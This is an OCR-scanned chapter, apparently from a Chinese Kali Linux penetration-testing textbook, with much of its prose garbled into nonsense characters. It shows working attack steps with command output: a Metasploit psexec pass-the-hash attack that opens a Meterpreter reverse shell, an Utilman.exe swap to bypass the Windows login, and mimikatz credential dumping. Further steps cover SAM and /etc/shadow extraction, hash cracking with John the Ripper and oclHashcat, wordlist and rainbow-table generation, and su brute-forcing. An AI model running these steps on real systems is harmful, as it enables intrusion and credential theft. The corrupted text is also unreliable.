msf exploit(psexec) > set RHOST 192.168.6.114 #ig B LAE 4 bkt
RHOST => 192.168.6.114
msf exploit(psexec) > set SMBUser Test #1%88 SMB AR

SMBUser => alice

msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:
22315d6ed1a7d5f8a7c98c40e9fa2dec #1xE SMB %3

SMBPass => aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec

(7 JashHdi. AT ar & Wk Pras:

msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.6.103:4444

[*] Connecting to the server...

[*] Authenticating to 192.168.6.114:445|WORKGROUP as user 'lyw'...

[*] Uploading payload...

[*] Created \XBotpcOY exe...

[*] Deleting \XBotpcOY .exe...

[*] Sending stage (769536 bytes) to 192.168.6.114

[*] Meterpreter session 3 opened (192.168.6.103:4444 > 192.168.6.114:49159) at 2014-07-22
17:32:13 +0800

Mo AE R, nTLUFEEMEH “Test” R RCIIIFTIT T —A> 251k,
8.4 %:if Utilman A3k

Utilman /2 Windows 8 | HE 4% . %A 2 A7 Windows 40 A i T 2 1)
A, EEEN R R RGIET BEEERN, NTRELFSITRERCEL, 7
Windows [, fifi[f] Windows+U #1 {54 a] DL ] Utilman 32 . A8/ 244854 Utilman F#
FPE R, T LLEdT Hofh e .

(1) 7F Windows 741fil, }23) Kali Linux LiveCD, 1% 8.7 fii7.

(2) TR FUIEH Live  (686-pae) , #% [ Z44#E Rl '] 5 2 Kali Linux, 41F¥ 8.8 7.

Applications Places & [ Sat Jul 19, 5:17 PM
Home Folder

- Bl Desktop

-
AL OIS e

W2 43 GB Filesystem

s % Network

Connect to Server...

ress ENTER 1o boot or TAB to edit a nem entry

P 8.7 Kali Linux 7|35 P 8.8 Kali Linux #1j 54¢
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(3) FIZF M IF Windows fF A4, fF Kali Linux 5 H K KL FF Places|43GB
Filesystem ZE5, J4T T & 8.9 Fronf F . X B 43G Fo7n 41T Windows 74 [ A2k
Kvs

2454E29854E26C4AC - | O X
File Edit View Go Bookmarks Help
Devices \ < . .BJ 43 GB Filesystem
g RARE ProgrambData Program Files Q@MDownload
Hd120GB.. =2
Computes - — -
=3 Home Recavery $Recycle.Bin System Volume
Desktop Information
& File System ﬁ i ﬁ
Trash
Users win3 2-loader Windows
Network — —
B8 Arowse Net i ‘J k U
Windows XPE Wl iE autoexec.bat config.sys
= . |

g 8.9 Windows B4 (1] 30 A S35

(4) Z A1 SR T Windows #:1E 2 48 b (¥ S0 RS0 R o 1K AR IR AT T
Windows|System32 SC{F3, K B n W& 8.10 Fros ) 75
System32 EEE
File Edit View Go Bookmarks Help

Devices '3l ® 43 GB Filesyste WIndovE o @ ® | Qsearch

& RiRE usercpl.dll userenv.dll userinit.exe
B120c8.. & =

T

& Home usk.rs uspl0.dil utildlL.dLl
I8 Desktop | Q] [ a] 5
[# File System - — -
= Utilman.exe uxtheme.dll uudf.dll
@ Trash - o N
Network
12 ? i
WBrowse Nat.. UXInit.dl uxtib.dll uxtibres.dil
uxsms.dil uxtheme dil v7vaa.rom

¥ 8.10 System32 F (%

(5) {EiZ MR RE] Utilmanexe SCfF, % Edr 404 Utilman.old. #8552
cmd.exe A4, FEFH 40500 Utilman.exe.

(6) PL{E JC ] Kali Linux, Jf )5 5) Windows 45 . (L5 5 4% F Windows+u 21 75 #E,
¥ 2o n B 8.11 fram iy
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(7) Mz Sl LA ST I — D ar S8R i dd . 7Ei%% . alLLkdT—4% DOS
fir%. Bl ] whoami wiy & & A NI A B, K Wwx WP 8.12 Brori) 7.

K 812 HI PR R

(8) M I SR ol LLE B, 550 5 30T S A . et mf ] LAEA T AT 40T (1)
ik,

%3] T 4E5E Utilman %5, 0] UAF A mimikatz 1 U5 F bR 2 G080k At T
BN, FHPE 248 H mimikatz 1L, MR GR AT %500,

FEERAE 2 A A AN S rE % L. & %C M http://blog. gentilkiwi.com/mimikatz %3} 4%
mimikatz | H, HAMHA4 8 mimikatz trunk zip. R 5%, HRAER] A
USB #i#i e Afrh, K M i) SR AF B 5L Y mimikatz H 3,
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(1) 7ERZH 22%% Utilman Bypass, PAMEAEFAT —LEay 4.
(2) 7R 5L Windows H:4% F Windows+u ZH & 8E, WP 8.13 i,

K813 mahmsfr
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(4) HEANF| USB Wi, JFE GRS PN . AFPE USB #ifitS F: o, A7
AR pTR:

C:\Windows\system32> F:
F\>dir mimikatz

2014/05/26 03:45 4,311 README.md
2014/06/15 04:54 Win32
2014/06/15 04:54 x64

M FE B, o] LU B mimikatz H S = 0fF. Hop win32 fil x64 RoR
mimikatz [N RRA . 4 H 0 RS AL BAT DY A, Al vp (R E R8T 0 32 7,

Pt LEFEAT H] Win32.
(5) #EF Win32 A % iy %
F:\>cd mimikatz
F:\Mimikatz>cd win32
F:\Mimikatz\Win32>dir
2014/06/15 04:54 29,056 mimidrv.sys
2014/06/15 04:54 189,936 mimikatz.exe
2014/06/15 04:54 27,632 mimilib.dll
M EE S, BTRAE # Win32 Hap g =430k, Ho, mimikatz & — N H4T
LA
(6) iz4T mimikatz f/5. $AT W KR
F:\Mimikatz2\Win32>mimikatz
FHHEAH.  mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jun 14 2014 22:54:04)
.
HE/\HHE [
##t\/## Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
'tHiv##  hitp://blog.gentilkiwi.com/mimikatz (oe.eo)
‘THEHAE with 14 modules * * =/
mimikatz #

a5 S Wor T mimikatz () —SEAHOCE B, Hh mimikatz #5278 T & L) o E] T
mimikatz F£F .

(7) PRE . AT 2 W F Frs:

mimikatz # sekurlsa::logonPasswords

Eﬁ :

mimikatz # sekurlsa::logonPasswords full

Fhat b s pfE R

Authentication Id : 0 ; 10201252 (00000000:009ba8a4)

Session . Interactive from 1
User Name :lyw
Domain : Windows7 Test
SID 1 $5-1-5-21-2306344666-604645106-2825843324-1001
msv :
[00010000] CredentialKeys
= NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f

[00000003] Primary
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* Username : lyw
* Domain  : Windows7 Test

* NTLM : 32ed87bdb5fdc5e9cha88547376818d4

* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
tspkg :
wdigest :

* Username : lyw
* Domain  : Windows7Test
* Password : 123456

kerberos :
* Username : lyw
* Domain  : Windows/7Test
* Password : (null)

Ssp :

credman :

MEA ES A5 b, VR B BE T TR K. il 44 SR & 1Y) HASH {4
B4 T

8.5 ARMRLE I A T E mimikatz

mimikatz &350 KK R G ARG AR T . % T BAT BOR [ AR — AN SR
1247, BE O N 2] Metasploit H#E5EHT,  FF4E—> nl 4L 1) Meterpreter fid. 4RI
(IFRE B AN FE 22 G, A mimikatz 1L a] DUAR PR (R 9 52 8600 . A6 A 28 4
mimikatz [ P50 .

[32f1 8-31 iz~ ] mimikatz P& 2k SCAZ S . BARERAE LRI MR,

(1) JHE7EHAR ML (Windows 7) _bizqy Veil G2 1 v] $147 S backup.exe, 3RHL
— ML, W NPT

msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.103:4444

[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 192.168.6.110

[*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.110:1523) at 2014-07-19
16:54:18 +0800

meterpreter >

METH RS, aTRUERERRE T —1 5 192.168.6.110 FHLEREL:
(2) WA BASH P IR . PAT 2 R s

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Mg A B, TTELE BRI O& 2 BRI . e, ST LA T HoAh 35 T«
(3) %k mimikatz fitle, AT~ TR

meterpreter > load mimikatz
Loading extension mimikatz...success.

M AR K, TR B mimikatz B UK R -
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(4) #F mimikatz BH ARG ATAS W F TR

meterpreter > help

PATEL B2 e, M KENER. Hd, 78 Meterpreter A7 [f i £ #6 £ 70 26«
X H FEAHF mimikatz A4, WH TR

Mimikatz Commands

Command Description

kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom commannd

msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds

tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds

PL_Ea s B R T T BY Mimikatz 7% . W10 & kerberos {5 BL« livessp 1 BLRIIE
e
(61 8-4) REMAFEM., $ATMm LW FHiIR:

meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials
msv credentials

AuthIiD Package Domain User Password
0;287555 NTLM WIN-RKPKQFBLG6C bob

Im{ cd4fdcd1cad51e41aad3b435b51404ee }, ntim{ 3ed1ce151e74d17ceeb66bf
6c3eed4625 }
0;287509 NTLM WIN-RKPKQFBLG6C bob

Im{ cd4fdcd1cad51ed41aad3b435b51404ee }, ntim{ 3ed1ce151e74d17ceeb6b
f6c3eed4625 }
0;996 Negotiate WORKGROUP -RKPKQFBLG6EC$ n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;45372 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WIN-RKPKQFBLGBCS$ n.s. (Credentials KO)

PATEL Edr@)a, S oG . 20 3omiAE 1D, 0, 34 . T AR . iz
P LAE R, SRS bob MR H A, . AR AFES, AT Im FoR
fEH TM 520N nthm 7R H] NTLM J 30 .

(35651851 3RHI kerberos (FAEXALERFSO 15 . AT a4 F PR

meterpreter > kerberos

[+] Running as SYSTEM
[*] Retrieving kerberos credentials

kerberos credentials

ol

AuthlID  Package Domain User Password
0;999 NTLM WORKGROUP WIN-RKPKQFBLG6C$

0;45372 NTLM

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;996 Negotiate WORKGROUP WIN-RKPKQFBLGECS
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0;287509 NTLM WIN-RKPKQFBLG6C bob www.123
0;287555 NTLM WIN-RKPKQFBLG6C bob www.123

M S S bl LU 2, fan 5 B2 msv a4 05 B . ME— AR g2,
IX B ] LU B G A 0% B TR aG 2% 65 . ALL _EAS Bk, o BUE 2] bob H P BUEE 644
www.123.

[3£45)8-61 FRHL wdigest (FEA D HIAE) FE, WTFHIR:

meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials

wdigest credentials

AuthlD Package Domain User Password
0;999 NTLM WORKGROUP WIN-RKPKQFBLGBCS
0;45372 NTLM

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;996 Negotiate WORKGROUP WIN-RKPKQFBLGBCS
0;287509 NTLM WIN-RKPKQFBLG6C bob www.123
0;287555 NTLM WIN-RKPKQFBLG6C bob www.123

LA F gt A OB 2 24 i T R X3 B A5 R
(K] 8-7]1 WK livessp BHRYGIESE o PAAT A4 11 K TR

meterpreter > livessp
[+] Running as SYSTEM
[*] Retrieving livessp credentials

livessp credentials

AuthlD Package Domain User Password

0;287555 NTLM WIN-RKPKQFBLG6EC bob n.a. (livessp KO)
0;287509 NTLM WIN-RKPKQFBLG6C bob n.a. (livessp KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.a. (livessp KO)
0;996 Negotiate WORKGROUP WIN-RKPKQFBLGBCS$ n.a. (livessp KO)
0;45372 NTLM n.a. (livessp KO)
0;999 NTLM WORKGROUP WIN-RKPKQFBLG6CS$ n.a. (livessp KO)

meterpreter >

PL_E i A5 SR 7R T AT P livessp B34 B UE(S B o
8.6 RN ALT P %A

YSICEE A M H GRS TN, WEEZ RSP EANH PR P AR
Fh . ARTATEE 0 A B AR Windows Al Linux H] )7 %04,

8.6.1 #fiE Windows F§ R %553

Windows ZEE1 2 FVEL R AF AT SAM C&4W ST . 7T NT A
1) Windows &4, AL4H Windows 2000 M &l A, X4 IHRATAE “C-\Windows\
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System32\Config” H 3t Fo 12K, R s 1 —L88ah 0 42 4> 15 ks % 01
MRy Tk, B, WIERGHEEIZE, SAM U IR AUE . IXEWREIRIERGIEAT
2N, HP ST T e S ] SAM . [ T HUE, 5 SAM SRR s, HANET L.

VIS, B IMEged X el EmfEH AL b, RERRRA TETREA, 5t
AT LU ] Meterpreter A1 SAM Juicer $RHUH ST HL_E (BHSCPE o 03977 ) 2R 48 14 IR PR
i P LR R b R sl HAb AR R 4L, lifE USB s DVD-ROM 4 B Kali
Linux. i1 50 H AR SALEEN B HAR 8 E R E 2 o, HP a] LLGE ) Kali H1) John the Ripper
1 HOR 5 R 1% Windows H] P50 .

{#i Ff] John the Ripper I FLfili i Windows Ff] ) #0150, FAREVE LRI T AT,

(1) K 4 REh IR . AT a2 W FFR:

root@kali:~# fdisk -|

Disk /dev/sda: 42.9 GB, 42949672960 bytes

255 heads, 63 sectors/track, 5221 cylinders, total 83886080 sectors
Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: Oxcfc6cfct
Device Boot Start End Blocks Id System
/dev/sdal = 63 83859299 41929618+ 7 HPFS/NTFS/exFAT

R BN AT RS B, R A Z U R SR TE NTFS,
2 Windows Z St T A7 0PI A
(2) HhE R . $ATar4 0 FRTR:

root@kali:~# mkdir /sda1 #HREEH S
root@kali:~# mount /dev/sda1l /sdal/ #i£#/devisdal 43 [X

PATA L& 5, B AR A5 .
(3) 4 H 3%, HEAZ| Windows SAM SCAFRIALE . $ATAr 2 W1 F s
root@kali:~# cd /sda1/WINDOWS/system32/config/

% H R, aTLLE S| SAM 1.
(4) fiff] SamDump?2 $2H0 SAM SCAF. $HAT i 4 i R i«

root@kali:/sda1/WINDOWS/system32/config# samdump2 SAM system > /root/hash.txt
samdump?2 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : SAM

M AR ST R BBREL T SAM SCPF - K52 SCPFI Y 78 H25E W] 3] 1 /root/hash.txt 3L
fE
(5) &7 john Ay, SLIVFEMBEGET . AT A FHrR:

root@kali:/sda1/WINDOWS/system32/config# /usr/sbin/john /root/hash.txt —-format=nt
Created directory: /root/_john
Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
(Guest)
guesses: 4 time: 0:00:03:13 0.09% (3) (ETA: Mon May 12 06:46:42 2014) c/s: 152605K
trying: 2KRIN.P - 2KRIDY8
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guesses: 4 time: 0:00:04:26 0.13% (3) (ETA: Mon May 12 04:02:53 2014) c/s: 152912K
trying: GROKUHI - GROKDN1

guesses: 4 time: 0:00:04:27 0.13% (3) (ETA: Mon May 12 04:15:42 2014) c/s: 152924K
trying: HKCUUHT - HKCUGDS

8.6.2 #ff# Linux Fl R385

WA Linux ({8555 524 _E A0 A7 Windows B A% 10 5 3B % 2600, it R 4
ARl Linux RZEHTTHH SAM SCAFIAAR A7 B WA Linux RIEHF N % 1 505551
T AE UL shadow () SCFHL, iz SCPFI A0 45 D /ete/shadow

Ait, {4 H John the Ripper i fi#/etc/shadow CF22 fif, 55 %/ete/passwd L. iX
HIPR I Windows 4 I8 7 B system SCFHI SAM SCfF & —HEHYIEFE . John the Ripper [
W T —AIIEE, & n LK shadow Fl passwd SCAFES O /E g, Xl DA A % L i
Linux R2EUHH % AR 4RA# Linux F 884910 ik .

1| John the Ripper | FLAfi# Linux [/ #5009, FAASRE S8 0F iR,

(1) 1fi[H] unshadow HEHUFE GRS FUAT A % 20 F PToR:

root@kali:~# unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt

PATUL B2 ), 2% /ete/passwd/ AT 5 /ete/shadow/ SCAF A5 S 7E—HE, AR RE—AN i
linux_hashes.txt )3, fRAF7E/tmp/ H S .
(2) ¥ Linux H P 365, AT dr2- U0 R e:

root@kali:~# john --format=crypt --show /tmp/linux_hashes.txt
root:123456:0:0:root:/root:/bin/bash
bob:123456:1000:1001::/home/bob:/bin/sh
alice:123456:1001:1002::/home/alice:/bin/sh

3 password hashes cracked, 0 left

Mg 80, wTLUR SIS0 R4 A =P, HE ALl 123456,

QiFE: 128 John the Ripper 7443 f# Linux FAZ AT, & 244 H X4 R R £ A 55
#7149 John the Ripper M A, Hw R F 45 R KR F 1% F] R4T4MT 49 John the Ripper,
#2 B 4438 9 4%1% 13 & No password hashes loaded (XA #EZAHT]) . K5 #
IR Linux % % AL SHA 405 o 35 Hoik R AFE 45,

8.7 ANEEHF

FIT I (1) 25 A - 3 1 R & AL AR R BT D, 2R o LB 2 AT ) R 1 i
B o T R LB 1 S G T AR A ) 2 R R AR I R R b 3R, 4 e S D T R ) B 0
AR, WR—ANFEEEERANESRE R, RESEBETFRE, XM FHREEEaH
T, R S G KO MR T AT I . 4E Linux 977 Crunch A1 rtgen P4~ 1 JL, w[ LI
Gl . A, AT XA LR i,
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8.7.1 Crunch TH

Crunch 2 —Fp@I @ %78 T 1, 125085 H T8 0% . /] Crunch T H/ARL

s ] LUK IE B 200 P e — AN N IRERE A EHE ] Crunch T H G A5 7 4t

ffH] Crunch LR 7 . HARBERAE DB U R AR .
(1) fi3h crunch dir%. $ATAr-S U F PR,
root@kali:~# crunch

PATEL Edn &), A s pos 45 L

crunch version 3.4

Crunch can create a wordlist based on criteria you specify. The outout from crunch can be sent
to the screen, file, or to another program.

Usage: crunch <min> <max> [options]

where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.

s 945 B SR T crunch fir & BURRAS S B2 3 o, A crunch a7 B R A

Wk R B .

crunch [minimum length] [maximum length] [character set] [options]

crunch i 4% H B IE AN K P

Q -o: Mt F RO rIA e .

Q -b: F5ES AR N FITE. ZAPATLEEE KB MB 5 GB, {H &% 5-0
START 15— H .

Q -t BCEAE A AR AR

Q -l ZEIH T M-I R @ %A, F ORI AL e A

(2) B — AR S, IFRAAE T B o, A R M B M 8,

B E H 10, JE{ 1] ABCDEFGabedefg0123456789 M 458 . $AT A4 F B 7w

root@kali:~# crunch 8 10 ABCDEFGabcdefg0123456789 —o /root/Desktop/
generatedCrunch._txt

Notice: Detected unicode characters. If you are piping crunch output

to another program such as john or aircrack please make sure that program
can handle unicode input.

Do you want to continue? [Y/n] y

Crunch will now generate the following amount of data: 724845943848960 bytes
691266960 MB

675065 GB

659 TB

0PB

Crunch will now generate the following number of lines: 66155263819776
AAAAAAAA

AAAAAAAB

AAAAAAAC

AAAAAAAD

AAAAAAAE

AAAAAAAF

AAAAAAAG

AAAAAAAa
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AAdbBgF 1

AAdbBgF2

AAdbBgF3

AAdb6gF4

AAdb6gF5

MUL FoH ffs Borp, ol LA 2R B 659TB AR S0, it 66155263819776 17 .
Ch b & AT e s, KRR T BRI~ 4 4 generatedCrunch.txt ({78 3C{F. 41

SRR EE 2, BT AT AR A)

(3) YL bR ps, AT Nano dn 44T 7. BT a2 W T s
root@kali:~# nano /root/Desktop/generatedCrunch.txt

PAT UL B A5, ¥ FTJF generatedCrunch.txt SCfF. & SO ARAE T4 A crunch iy
A BT AT B

8.7.2 rtgen TH

rtgen |- H ] SRA ORS¢ o REML A e — AN e N I ARIE 0 25 Fnl BE I A BEE O Tl s h 55
WS A D . L RAS E el R MDS S0, &RhEEEAT, 17 7 & nr ik
MR AR S 20Y . BE EAR0 % S, FER R stk ., IAE FR Bl £ 100G
L,

] rtgen | HALRCRIL 2. HARIAE D BB F AT 7R

(1) P rtgen H 3. $AT@2 U0 F iR,

root@kali:~# cd /usr/share/rainbowcrack/
(2) M1 rtgen M & /E R AMET MDS IRELE . SAT 4 W FFTR:

root@kali:/usr/share/rainbowcrack# ./rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0
rainbow table md5_loweralpha-numeric#1-5_0_3800x33554432_0.rt parameters

hash algorithm: mdS

hash length: 16

charset: abcdefghijklmnopqgrstuvwxyz0123456789

charset in hex: 6162 63 64 65 66 67 68 69 6a 6b 6¢ 6d 6e 6f 70 71 72
7374757677 7879 7a 3031323334 3536373839

charset length: 36

plaintext length range: 1 -5

reduce offset: 0x00000000

plaintext total: 62193780

sequential starting point begin from 0 (0x0000000000000000)

generating...

131072 of 33554432 rainbow chains generated (0 m 42.5 s)
262144 of 33554432 rainbow chains generated (0 m 39.2 s)
393216 of 33554432 rainbow chains generated (0 m 41.6 s)
524288 of 33554432 rainbow chains generated (0 m 42.0 s)
655360 of 33554432 rainbow chains generated (0 m 39.1 s)
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786432 of 33554432 rainbow chains generated (0 m 40.1 s)
917504 of 33554432 rainbow chains generated (0 m 39.9 s)
1048576 of 33554432 rainbow chains generated (0 m 38.8 s)
1179648 of 33554432 rainbow chains generated (0 m 39.2 s)
1310720 of 33554432 rainbow chains generated (0 m 38.2 s)

33161216 of 33554432 rainbow chains generated (0 m 40.2 s)

33292288 of 33554432 rainbow chains generated (0 m 38.9 s)

33423360 of 33554432 rainbow chains generated (0 m 38.1 s)

33554432 of 33554432 rainbow chains generated (0 m 39.1 s)

L EAS RS 7RI R S8 L e . B, BRI R 40N
md5 loweralpha-numeric#1-5 0 3800x33554432 0.rt; 1%F ] MD5 Bz m, 1
H B £ 55 4E abedefghijklmnopgrstuvwxyz0123456789 %5,

(3) N THEMEH RGBT, /] rsort A &XHZEIATHF . $ATHSWTF
FoR:

root@kali:/usr/share/rainbowcrack# rtsort md5_loweralpha-numeric#1-5_0_
3800x33554432_0.rt

md5_loweralpha-numeric#1-5 0 3800x33554432 0.rt:

1351471104 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

writing sorted rainbow table...

e LA FAS SR 2R B R 3% s Th st AT HE
8.8 1% 5] NVIDIA + E Mk —i%k & %4 (CUDA)

CUDA (Compute Unified Device Architecture) 2 —Ff f1 NVIDIA #fE H i) ] 47 0H 5
ZRHE, ZZRREH] GPU BERSfigvh H A0 IR . &% T CUDA #2548 (ISA) I
GPU W#H AT TH5 5148 . F P wf LA ] NVIDIA CUDA Xk fif FH WG 45 5025 0% 1) 3% 6
TR W] AT mr A PR IS o AT 4848 ] OclHasheat T H I 365 .

{81l OclHashcat T R 2 Hij, — i L0 =) R4 LR %% T NVIDIA & K9], 78
Kali f, OclHashcat 21\ % 35E 70 /usr/share/oclhasheat F s P, FDLFEBESE T H o5 3]
OclHashcat, ¥ J12)) OclHashcat |°H.. #AT#A2 W R Fros:

root@kali:~# cd /usr/share/oclhashcat
root@kali:/usr/share/oclhashcat # Is

charsets cudaExample500.sh eula.accepted example500.hash hashcat.hcstat masks
oclExample500.sh
cudaExample0.sh  cudaHashcat.bin example0.hash example . dict
hashcat.pot oclExample0.sh oclHashcat.bin
cudaExample400.sh docs example400.hash extra kernels oclExample400.sh
rules

Pl EEiH A5 R R T OclHasheat H 3% FAT A S04 Hitp, cudaHashceat bin 447 3¢
{2 PR b SO . FEAEHNZ AT SCF 2 /T, BB A e R B o . tarar S
QH—FﬁﬁﬂT:

root@kali:/usr/share/oclhashcat# ./cudaHashcat.bin --help
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cudaHashcat, advanced password recovery
Usage: cudaHashcat [options]... hash|hashfile|hccapfile [dictionary|mask|
directory]...

Options

* General:

-m, --hash-type=NUM

-a, --attack-mode=NUM
-V, --version
-h, --help

--eula

--quiet

* Benchmark:

-b, --benchmark
--benchmark-mode=NUM

* Misc:

--hex-salt
--hex-charset
--force

--status
--status-timer=NUM

* Benchmark Settings:

0 = Manual Tuning

Hash-type, see references below
Attack-mode, see references below
Print version

Print help

Print EULA

Suppress output

Run benchmark
Benchmark-mode, see references below

Assume salt is given in hex

Assume charset is given in hex

Ignore warnings

Enable automatic update of the status-screen
Seconds between status-screen update

1 = Performance Tuning, default
* Qutfile Formats:

1 = hash[:salf]

2 = plain

3 = hash[:salt]:plain
4 = hex_plain

9 = hash[:salt]:hex_plain
6 = plain:hex_plain

7 = hash[:salt]:plain:hex_plain

* Built-in charsets:

?1 = abcdefghijkimnopgrstuvwxyz

?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ

?d = 0123456789
?a =7?1?u?d?s

?7s = I#E%&'()x+ - /5<=>?@N"_{I}~
* Attack modes:

0 = Straight

1 = Combination

3 = Brute-force

6 = Hybrid dict + mask
7 = Hybrid mask + dict

* Specific hash types:

- 264+

11 = Joomla

21 = osCommerce, xt:Commerce

101 = nsldap, SHA-1(Base64), Netscape LDAP SHA
111 = nsldaps, SSHA-1(Base6t4), Netscape LDAP SSHA

112 = Oracle 11g

121 = SMF > v1.1

122 = 0SX v10.4, v10.5, v10.6
131 = MSSQL(2000)
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132 = MSSQL(2005)
141 = EPiServer 6.x < v4
1441 = EPiServer 6.x > v4
1711 = SSHA-512(Base64), LDAP {SSHA512}
1722 = OSX v10.7
1731 = MSSQL(2012)
2611 = vBulletin < v3.8.5
2711 = vBulletin > v3.8.5
2811 = IPB2+, MyBB1.2+
62XY = TrueCrypt 5.0+
X =1 =PBKDF2-HMAC-RipeMD160
X =2=PBKDF2-HMAC-SHA512

X =3 =PBKDF2-HMAC-Whirlpool

X =4 =PBKDF2-HMAC-RipeMD160 boot-mode
Y =1=XTS AES
Y =2 = XTS Serpent --- unfinished
Y = 3 = XTS Twofish --- unfinished
Y =4 = XTS AES-Twofish — unfinished
Y =5 = XTS AES-Twofish-Serpent --- unfinished
Y =6 = XTS Serpent-AES -— unfinished
Y =7 = XTS Serpent-Twofish-AES  --- unfinished
Y = 8 = XTS Twofish-Serpent -— unfinished

RS S SR T cudaHasheat bin #iy 4 HEVARS 0. AT I I00 A ic 491 155 .
T fi# cudaHashcat iy 4 1)1k LG, wtal DLAG & SRR =0 otk 1. $dran 4
W s

root@kali:~# ./cudaHashcat.bin attackfile -1 ?I?u?d?s 2171?21?21 21?1?7171

O BA B S ZER AT A, W PR,

O ./cudaHashcatbin: #7518 cudaHasheat 175

Q attackfile: +5H02 B 1) 300

O -121202d?: LoniRE ) B TR B IR E 1T/ ) LU NS 7R
NG FHRRET .

Q 21217121 RO AT R (1 AR

Q 21712171 LoR{EH AR e A AR .

8.9 IiF el &

YR ) B & ﬁﬂmﬂmﬂﬁ Lo B —ANESE PSR B R, A H
LK O EE Y . 7E Linux Hp, 858 P 0] BUEE su i A0 HoAt A P AT FE 2845 4F
R %M BENS/E Linux/Unix ?—wu@}mﬂ H CHIB R AL R E S 1, ol LI H] SUCrack
TR IR AT su (PR P 0 P IR E5 Y, SR S8 RS SEMBE SO BRE . AR AT
H SUCrack | H Yz H .

SUCrack 7 ~PE2 48 LI, RVFH 5 B0 TR su (AL H] ) ™ (s it . 1% 1
FUH ) LA R IR R B .

D_hm-ﬁﬁmmmmMﬁ%l#n

A BB S P,
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O -s: WEH WG R R E . BROAREZ 3 k.
-a: SOVFIL P BCEE 54 ] ANSI He SRS .
O -w: Js&{C SUCrack RS R H M EkFe$L. [A SUCrack 2 ZZFEM, M LlRE
A HIBATI RS XU 1 4, By SREA8 s k M, EiR 3
PR T 2l
[3£f5) 8-81 i H] SUCrack Ml fEAHH] 7 S . {1 ] SUCrack fir &I, %45 E—
ANER A N, SR MR SRR AT W s
$ sucrack /usr/share/wordlists/wordlist.txt
password is: 123456
My B s B T LLE £, AHE - root (EERS Y 123456, RUMAEH] su i, A
ER P, BRI root /. BTEL, $UATEL Edr@Jn, ORRRMA S root Y
AL
QAR H P REGSCE R RS, BERE 6 P on gt BT ARSI BUE A ] ANST 8% 3(f% . $h
T2 T PR

$ sucrack -w 2 -s 6 -a /usr/share/wordlists/wordlist.txt

()
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BN LT NAEA T 2% . U RN FEAEINFRIIN, A ERAEHAT Lk
57, LUERER BEAL BTk B AR, HRIEIR BT, RIS 20 65
utf‘ZL_Hffﬁ AT T RE S A 4, (L SO RE H o2 %, JXm el sk A

o WIEFAE Kah o, $4E TR 2 T nT ARARFCZE R 45 o A B0RE A 2 A H 25 Ry il il L
ﬁ, Sl o e M i

9.1 A& M%2ix T E Kismet

QR L BEAT I ER M 4B B K, WA Z00 5G40 B AT A R0 C RN . WIEFAE Kali
Linux 1, $2{L 7 —ZMRECL M4 TR Kismet. 1% TR o] AW B L8455,
HFEE AW LEEAN S AN 4 H] Kismet TR A E 45

(1) jizh Kismet T H. $ATar4 0T s:

root@kali:~# kismet

PATEL B A 0n, B R E 9.1 Bras i A .

root@kali: ~ ) = e

£ (F) *ﬁ?a(E) BEH(V) ER(S) LAR(T) WEHH)

B 9.1 2 Gk f

) S R B R T R T 2 ORI E (. A Kismet BOABR(A 2 KD, WfE—
“HE R

‘ﬁéﬂim/l o IXHAFFIERARIEIE, HEFE Yes, W Wbawinbd 9.2 Brox i) Fitii.
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root@kali: ~ el Tk e

XHE(F) HEBE) FHEV) BR(S) LR FEIH)

" Kismet Sort View Windows

No B
Connected|

[ OK ]
i1l attempt to reconnect in 5

'localhost:2581"
o reconnect in 5

K92 {fH root H FiZ1T Kismet

(3) ZES LR IEAEAE ] root I J1IE4T Kismet L. R, EF OK, ¥ 2R W& 9.3
FIENIETTR

root@kali: ~ - [0 X
XfHF) fRER(E) TR(V) WER(S) LIR(T) HEER) PFEEIH)

I root@kali: ~ X ‘l‘root@kali: = root@kali: ~ * | root@kali: /usr/sha...
~ Kismet Sort View Windows

K93 HzhEsh Kismet lk %

(4) HZF R 2T E A A D) Kismet [R5, X HIEF Yes, LUK 9.4 i
FHf .

(3) P WA Kismet RS 28F . ZRAEHEGA®RE, Jik+e Start, K
o 9.5 Frow ) S .

(6) A W BT HE ORI, AR IR XL Yes, KRR
9.6 T/ [1 S 1M«
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B9 LEMEEENK

-_

i 9.4 )33 Kismet k55 95 &t stk

(7) TEiZF e e oM R DARR S B . 78 Intf of, S AJGEEM RE:0 . Wit
2R O AR TR L, nf B A wlan0 8% mon0. HAh{E Bl LIAE . 2R )5 Add
FEHL, R R P 9.7 Brasi Fif .

root@kali: = [P E )
XFFF) MRE) EE(V) HERG) HMT) FEE) WEH)
| root@kali. - | roct@kali - < | root@kali - < | root@kali fusr/sha,.. >

Intf

Fl96 Esiniis P97 CHIERIE &I

